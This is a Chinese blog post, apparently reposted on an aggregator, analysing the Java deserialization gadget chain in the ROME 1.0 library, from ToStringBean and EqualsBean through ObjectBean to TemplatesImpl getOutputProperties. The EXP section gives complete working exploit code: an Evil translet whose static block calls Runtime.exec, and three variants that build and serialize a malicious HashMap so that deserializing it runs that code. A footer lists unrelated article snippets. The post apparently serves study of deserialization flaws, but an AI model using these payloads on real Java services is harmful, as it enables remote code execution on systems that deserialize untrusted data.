【Web】浅聊Java反序列化之Rome——EqualsBeanObjectBean

目录

简介

原理分析

ToStringBean

EqualsBean

ObjectBean

EXP

①EqualsBean直球纯享版

②EqualsBean配合ObjectBean优化版

③纯ObjectBean实现版


关于《浅聊Java反序列化》系列,纯是记录自己的学习历程,宥于本人水平有限,内容很水,经常会出现可以多篇合一篇的情况,但所幸同一个话题还是比较集中,真要翻起来不算太麻烦,仅供师傅们看个乐。

简介

ROME 是一个可以兼容多种格式的 feeds 解析器,可以从一种格式转换成另一种格式,也可返回指定格式或 Java 对象。ROME 兼容了 RSS (0.90, 0.91, 0.92, 0.93, 0.94, 1.0, 2.0), Atom 0.3 以及 Atom 1.0 feeds 格式。

Rome 提供了 ToStringBean 这个类,提供深入的 toString 方法对JavaBean进行操作,这也是问我们用Rome打反序列化的核心利用点

原理分析

一个一个类来看,慢慢梳理出调用链

ToStringBean

先来看其构造方法,接受两个参数 beanClassobj,并分别赋值给类的成员变量_beanClass和_obj

public ToStringBean(Class beanClass, Object obj) {this._beanClass = beanClass;this._obj = obj;}

再来看其“深入的toString方法”,有两种实现形式

很显然,toString() 方法内部首先获取相关信息,然后调用 toString(prefix) 方法

 public String toString() {Stack stack = (Stack)PREFIX_TL.get();String[] tsInfo = (String[])(stack.isEmpty() ? null : stack.peek());String prefix;if (tsInfo == null) {String className = this._obj.getClass().getName();prefix = className.substring(className.lastIndexOf(".") + 1);} else {prefix = tsInfo[0];tsInfo[1] = prefix;}return this.toString(prefix);}

 我们重点关注toString(prefix)

    private String toString(String prefix) {StringBuffer sb = new StringBuffer(128);try {PropertyDescriptor[] pds = BeanIntrospector.getPropertyDescriptors(this._beanClass);if (pds != null) {for(int i = 0; i < pds.length; ++i) {String pName = pds[i].getName();Method pReadMethod = pds[i].getReadMethod();if (pReadMethod != null && pReadMethod.getDeclaringClass() != Object.class && pReadMethod.getParameterTypes().length == 0) {Object value = pReadMethod.invoke(this._obj, NO_PARAMS);this.printProperty(sb, prefix + "." + pName, value);}}}} catch (Exception var8) {sb.append("\n\nEXCEPTION: Could not complete " + this._obj.getClass() + ".toString(): " + var8.getMessage() + "\n");}return sb.toString();}

核心逻辑是先是得到pds,再获取pds返回值中的方法名和方法,最后反射调用_obj类的该方法

这一段个人认为和jdk7u21原生反序列化有相像之处,感兴趣的师傅可以回顾一下品一品:

【Web】Java原生反序列化之jdk7u21——又见动态代理

这里要注意一点:

pds[i].getReadMethod()会限制调用的方式只能是getter&is,哪怕取到了setter也不能用

从设计理念的角度:toStringBean的作用就是生成一个传入的写定对象的字符串表示形式,我们只用对对象进行读操作(getter),而不需要对对象进行写操作(setter)

这也就注定了,ROME链是触发getter方法来进行利用的

OK话说回来,pds自何来?

让我们跟进BeanIntrospector.getPropertyDescriptors(this._beanClass)

其传入了this._beanClass作为klass

 public static synchronized PropertyDescriptor[] getPropertyDescriptors(Class klass) throws IntrospectionException {PropertyDescriptor[] descriptors = (PropertyDescriptor[])((PropertyDescriptor[])_introspected.get(klass));if (descriptors == null) {descriptors = getPDs(klass);_introspected.put(klass, descriptors);}return descriptors;}

这段代码实现了一个缓存机制,用于获取给定类的属性描述符数组。首先尝试从缓存中获取,如果缓存中没有,则调用特定的方法获取属性描述符数组,并将其存储到缓存中

跟进getPDs(klass)

private static PropertyDescriptor[] getPDs(Class klass) throws IntrospectionException {Method[] methods = klass.getMethods();Map getters = getPDs(methods, false);Map setters = getPDs(methods, true);List pds = merge(getters, setters);PropertyDescriptor[] array = new PropertyDescriptor[pds.size()];pds.toArray(array);return array;}private static Map getPDs(Method[] methods, boolean setters) throws IntrospectionException {Map pds = new HashMap();for(int i = 0; i < methods.length; ++i) {String pName = null;PropertyDescriptor pDescriptor = null;if ((methods[i].getModifiers() & 1) != 0) {if (setters) {if (methods[i].getName().startsWith("set") && methods[i].getReturnType() == Void.TYPE && methods[i].getParameterTypes().length == 1) {pName = Introspector.decapitalize(methods[i].getName().substring(3));pDescriptor = new PropertyDescriptor(pName, (Method)null, methods[i]);}} else if (methods[i].getName().startsWith("get") && methods[i].getReturnType() != Void.TYPE && methods[i].getParameterTypes().length == 0) {pName = Introspector.decapitalize(methods[i].getName().substring(3));pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);} else if (methods[i].getName().startsWith("is") && methods[i].getReturnType() == Boolean.TYPE && methods[i].getParameterTypes().length == 0) {pName = Introspector.decapitalize(methods[i].getName().substring(2));pDescriptor = new PropertyDescriptor(pName, methods[i], (Method)null);}}if (pName != null) {pds.put(pName, pDescriptor);}}return pds;}

这段代码实现了根据类的方法获取其属性描述符数组的逻辑。通过遍历类的方法,在获取读取getter和setter方法并写入方法后,将它们合并为包含属性描述符的数组并返回。

那如果我们klass传入的是Templates.class,array中会存什么呢?打个断点看一眼:

可以看到拿到了我们的老熟人——getOutputProperties,即TemplatesImpl调用链的一环(不解释了)

既然这样,只要让ToStringBean的_obj属性为一个恶意TemplatesImpl对象,即可通过ToStringBean#toString的调用触发攻击

而toString自何来?

EqualsBean

先看其构造方法,顾名思义,果然equal

public EqualsBean(Class beanClass, Object obj) {if (!beanClass.isInstance(obj)) {throw new IllegalArgumentException(obj.getClass() + " is not instance of " + beanClass);} else {this._beanClass = beanClass;this._obj = obj;}}

初始化一个EqualsBean对象,确保传入的对象是指定类的实例,如果不是则抛出异常,否则将传入的类和对象分别赋值给类的成员变量_beanClass和_obj

重点关注其hashCode方法,调用了_obj的toString方法,这不就齐活了,我们只要传入obj为恶意ToStringBean对象就能连上上面讲的逻辑

 public int hashCode() {return this.beanHashCode();}public int beanHashCode() {return this._obj.toString().hashCode();}

而怎么调用EqualsBean#hashCode呢?

就是最典的URLDNS,以hashMap为反序列化入口就可

hashMap#readObject => hash(key) => key.hashCode() => EqualsBean#hashCode

但注意hashMap#put也会触发key.hashCode,如果不想弹两次计算器,我们要进行一些处理,先往map里put进一个fake恶意类,put完后再用反射去修改。具体操作请看EXP部分,不作赘述。

ObjectBean

先看其构造方法

public ObjectBean(Class beanClass, Object obj) {this(beanClass, obj, (Set)null);}public ObjectBean(Class beanClass, Object obj, Set ignoreProperties) {this._equalsBean = new EqualsBean(beanClass, obj);this._toStringBean = new ToStringBean(beanClass, obj);this._cloneableBean = new CloneableBean(obj, ignoreProperties);}

第一个构造函数 ObjectBean(Class beanClass, Object obj) 在内部调用了第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties),并传递了一个空的 ignoreProperties 参数。
第二个构造函数 ObjectBean(Class beanClass, Object obj, Set ignoreProperties) 创建了三个子对象:_equalsBean、_toStringBean 和 _cloneableBean,分别是 EqualsBean、ToStringBean 和 CloneableBean 的实例。

接着看,ObjectBean的hashCode方法和toString方法也是直接分别调用EqualsBean和ToStringBean的对应方法。

从顾名思义的角度,ObjectBean可以通过传入的class和obj来生成三个子对象,并存进各自的字段里,应该是允许自由构造的。

但疑惑的是,因为ObjectBean其初始化方法也调用了EqualsBean的初始化方法,那不直接指定了传入的obj必须是class的实例了吗?相当于又加了一层桎梏。

不过不重要,对于这条链的构造已经够够的了。

我们完全可以用ObjectBean来代替实现ToStringBean和EqualsBean的效果,具体操作请看EXP③

public int hashCode() {return this._equalsBean.beanHashCode();}public String toString() {return this._toStringBean.toString();}

EXP

先导pom依赖

 <dependency><groupId>rome</groupId><artifactId>rome</artifactId><version>1.0</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.28.0-GA</version></dependency>

Evil.java

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {//构造RCE代码static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {e.printStackTrace();}}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

①EqualsBean直球纯享版

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;public class Rome {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "xxx");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());ToStringBean bean = new ToStringBean(Templates.class, obj);ToStringBean fakebean= new ToStringBean(String.class, obj);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, fakebean);HashMap map = new HashMap();map.put(equalsBean, 1);  // 注意put的时候也会执行hashsetFieldValue(equalsBean, "_obj", bean);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(map);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o = (Object) ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}
}

②EqualsBean配合ObjectBean优化版

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;public class Rome {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "xxx");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());ToStringBean bean = new ToStringBean(Templates.class, obj);EqualsBean equalsBean = new EqualsBean(ToStringBean.class, bean);ObjectBean fakeBean = new ObjectBean(String.class, "xxx");  // 传入无害的String.classHashMap map = new HashMap();map.put(fakeBean, 1);  // 注意put的时候也会执行hashsetFieldValue(fakeBean, "_equalsBean", equalsBean);ByteArrayOutputStream baos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(baos);oos.writeObject(map);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()));Object o = (Object) ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}
}

③纯ObjectBean实现版

package com.rome;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;public class Rome {public static void main(String[] args) throws Exception {byte[] code = ClassPool.getDefault().get(Evil.class.getName()).toBytecode();TemplatesImpl obj = new TemplatesImpl();setFieldValue(obj, "_bytecodes", new byte[][] {code});setFieldValue(obj, "_name", "xxx");setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());ObjectBean tostringBean = new ObjectBean(Templates.class, obj);ObjectBean fakebean= new ObjectBean(String.class, "xxx");ObjectBean equalsBean = new ObjectBean(ObjectBean.class, fakebean);HashMap map = new HashMap();map.put(equalsBean, 1);  // 注意put的时候也会执行hashsetFieldValue(fakebean, "_toStringBean", getFieldValue(tostringBean,"_toStringBean"));// 序列化到文件ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.ser"));oos.writeObject(map);oos.close();// 从文件中反序列化ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.ser"));Object o = ois.readObject();ois.close();}public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, newValue);}public static Object getFieldValue(Object obj, String fieldName) throws Exception {Class clazz = obj.getClass();Field field = clazz.getDeclaredField(fieldName);field.setAccessible(true);return field.get(obj);}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/273183.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

JWT令牌技术

文章目录 什么是令牌技术为什么需要令牌技术呢JWT 令牌JWT 组成JWT 令牌的使用1. 引入 JWT 依赖生成 JWT 令牌解析 JWT 令牌 什么是令牌技术 令牌技术是一种重要的安全技术&#xff0c;它在多个领域中发挥着关键作用。简单来说&#xff0c;令牌&#xff08;Token&#xff09;可…

大数据冷热分离方案

数据冷热分离方案 1、背景 ​ 随着业务的发展&#xff0c;在线表中的数据会逐渐增加。常规业务都有冷热数据现象明显的特性&#xff08;需要访问的都是近期产生的热数据&#xff1b;时间久远的冷数据出于备份、备案溯源等诉求会进行在线保留&#xff09;。在业务表数据 量可控…

深入理解Java的Writer类

咦咦咦&#xff0c;各位小可爱&#xff0c;我是你们的好伙伴——bug菌&#xff0c;今天又来给大家普及Java SE相关知识点了&#xff0c;别躲起来啊&#xff0c;听我讲干货还不快点赞&#xff0c;赞多了我就有动力讲得更嗨啦&#xff01;所以呀&#xff0c;养成先点赞后阅读的好…

LeetCode刷题日志-17.电话号码的字母组合

纯暴力解法&#xff0c;digits有多长&#xff0c;就循环多少次进行字母组合 class Solution {public List<String> letterCombinations(String digits) {List<String> reslut new ArrayList<>();if(digits.equals(""))return reslut;Map<Inte…

Android Studio 检测不到 IDE 更新

点击 Configure updates...&#xff0c;不知道什么时候把 Check for IDE updates 去勾了&#xff0c;一年没有检测到更新&#xff01; 只能重新安装&#xff0c;掉坑里了&#xff01;

云上攻防-云产品篇堡垒机场景JumpServer绿盟SASTeleport麒麟齐治

知识点 1、云产品-堡垒机-产品介绍&攻击事件 2、云产品-堡垒机-安全漏洞&影响产品 章节点&#xff1a; 云场景攻防&#xff1a;公有云&#xff0c;私有云&#xff0c;混合云&#xff0c;虚拟化集群&#xff0c;云桌面等 云厂商攻防&#xff1a;阿里云&#xff0c;腾讯…

linuxOPS基础_linux系统注意事项

Linux严格区分大小写 Linux 和Windows不同&#xff0c;Linux严格区分大小写的&#xff0c;包括文件名和目录名、命令、命令选项、配置文件设置选项等。 例如&#xff0c;Win7 系统桌面上有文件夹叫做Test&#xff0c;当我们在桌面上再新建一个名为 test 的文件夹时&#xff0c…

Xilinx 7系列FPGA配置(ug470)

Xilinx 7系列FPGA配置&#xff08;ug470&#xff09; 配置模式串行配置模式接口从-连接方式主-连接方式串行菊花链&#xff08;非同时配置&#xff09;串行配置&#xff08;同时配置&#xff09;时序 主SPI配置模式SPIx1/x2 连接图SPIx1模式时序SPIx4 连接图SPI操作指令操作fla…

深入解读 Elasticsearch 磁盘水位设置

本文将带你通过查看 Elasticsearch 源码来了解磁盘使用阈值在达到每个阶段的处理情况。 跳转文章末尾获取答案 环境 本文使用 Macos 系统测试&#xff0c;512M 的磁盘&#xff0c;目前剩余空间还有 60G 左右&#xff0c;所以按照 Elasticsearch 的设定&#xff0c;ES 中分片应…

什么是ElasticSearch的深度分页问题?如何解决?

在ElasticSearch中进行分页查询通常使用from和size参数。当我们对ElasticSearch发起一个带有分页参数的查询(如使用from和size参数)时,ElasticSearch需要遍历所以匹配的文档直到达到指定的起始点(from),然后返回从这一点开始的size个文档 在这个例子中: 1.from 参数定义…

ABAP接口-RFC连接(ABAP TO ABAP)

目录 ABAP接口-RFC连接&#xff08;ABAP TO ABAP&#xff09;创建ABAP连接RFC函数的调用 ABAP接口-RFC连接&#xff08;ABAP TO ABAP&#xff09; 创建ABAP连接 事务代码&#xff1a;SM59 点击创建&#xff0c;填写目标名称&#xff0c;选择连接类型&#xff1a; 填写主机名…

异步编程实战:使用C#实现FTP文件下载及超时控制

博客标题: 异步编程实战&#xff1a;使用C#实现FTP文件下载及超时控制 如果你的函数不是async&#xff0c;你仍然可以实现相同的超时功能&#xff0c;但你将不得不依赖更多的同步代码或使用.Result或.GetAwaiter().GetResult()来阻塞等待任务完成&#xff0c;这可能导致死锁的风…

HarmonyOS(二)Ability应用模型概述

目录 1 Ability概念 2 Ability形态 3 Stage优势 4 Stage模型结构 5 总结 注&#xff1a;本章内容提前声明。 基于HarmonyOS开发者3.1/4.0版本配套的开发者文档&#xff0c;对应API能力级别为API 9 Release。 详情可参考官网API入门第一章应用模型文档中心 1 Ability概念…

苍穹外卖学习-----2024/03/09

1.菜品分页查询 代码在这里 分页查询菜品 2.删除菜品 [链接]param 1、概览 本文将带你了解 Spring 中 RequestParam 注解的用法。 简单地说&#xff0c;可以使用 RequestParam 从请求中提取查询参数、表单参数甚至是多个参数。 2、示例端点 假设我们有一个端点 /api/foos&a…

KVM技术原理及安装KVM并且在KVM里面安装RHEL8

目录 一、kvm原理 1..1虚拟化概念 1.2 虚拟化产生背景 1.3虚拟化架构 1.4主流的虚拟化技术 1.5阐述个人对虚拟化技术的几种分类认知 二、安装KVM并且在KVM里面安装RHEL8 2.1在RHEL8主机上安装KVM 2.2安装完成后&#xff0c;使用virt-manager命令打开虚拟机管理图形界面…

Anaconda prompt运行打开jupyter notebook 指令出错解决方案

一、打不开jupyter notebook网页 报错如下&#xff1a; Traceback (most recent call last): File “D:\anaconda3\lib\site-packages\notebook\traittypes.py”, line 235, in _resolve_classes klass self._resolve_string(klass) File “C:\Users\DELL\AppData\Roaming\Py…

题目:泡澡(蓝桥OJ 3898)

问题描述&#xff1a; 解题思路&#xff1a; 图解&#xff1a;&#xff08;以题目样例为例子&#xff09; 注意点&#xff1a;题目的W是每分钟最大出水量&#xff0c;因此有一分钟的用水量大于出水量则不通过。 补充&#xff1a;差分一般用于对一段区间每个元素加相同值&#x…

Android 14 设置锁屏为NONE后开启双卡PIN锁,重启设备后,输完卡1的PIN码就进入了安卓界面,未提示输入卡2的PIN码

一.问题背景 目前在多个Android14平台发现开启双卡PIN码并且关闭屏幕锁的情况下,第二个PIN码锁输入弹框不能弹出问题,导致第二个卡不能注网。 如下是未修改前重启后解锁卡1PIN码的状态 可以看出卡2不能正常使用 二.何处关闭了卡2的PIN锁? 1.添加日志 首先在KeyguardSecu…

美团 Java 开发笔试热经

Voiceover&#xff1a; 见者有缘&#xff0c;缘来好运。欢迎大家来到我的博客【CS_GUIDER】&#xff1a;&#xff08;建议收藏至浏览器书签&#xff09; https://wlei224.gitee.io &#xff08;建议访问这个&#xff0c;速度极快&#xff09; https://wl2o2o.github.io &#x…

鸿蒙Harmony应用开发—ArkTS声明式开发(基础手势:RotationGesture)

用于触发旋转手势事件&#xff0c;触发旋转手势的最少手指为2指&#xff0c;最大为5指&#xff0c;最小改变度数为1度。 说明&#xff1a; 从API Version 7开始支持。后续版本如有新增内容&#xff0c;则采用上角标单独标记该内容的起始版本。 接口 RotationGesture(value?: …